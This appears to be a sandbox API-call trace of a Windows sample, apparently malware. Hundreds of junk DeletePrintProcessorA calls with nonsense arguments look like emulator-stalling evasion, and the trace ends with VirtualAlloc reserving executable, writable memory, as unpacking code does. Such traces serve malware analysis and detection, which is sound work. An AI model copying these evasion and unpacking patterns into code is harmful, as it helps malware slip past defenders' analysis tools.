[0054.590] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.590] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.590] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.591] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.592] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.593] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.594] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.595] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.596] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.597] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.598] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.599] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.600] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.601] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.602] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.603] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.604] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.605] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.606] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.607] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.608] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.609] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.610] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.611] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.612] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.613] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.614] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.615] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.616] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.617] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.618] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.619] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.620] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.621] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.622] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.622] DeletePrintProcessorA (pName="cxgfte", pEnvironment="ghtry", pPrintProcessorName="sdts463") returned 0
[0054.627] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd10 | out: ProcedureAddress=0x12fd10*=0x763a2fb6) returned 0x0
[0054.627] VirtualAlloc (lpAddress=0x0, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x3a0000
[0054.631] LdrGetProcedureAddress (in: BaseAddress=0x76350000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x12fd50 | out: ProcedureAddress=0x12fd50*=0x763a2fb6) returned 0x0
[0054.631] VirtualAlloc (lpAddress=0x0, dwSize=0xd000, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000
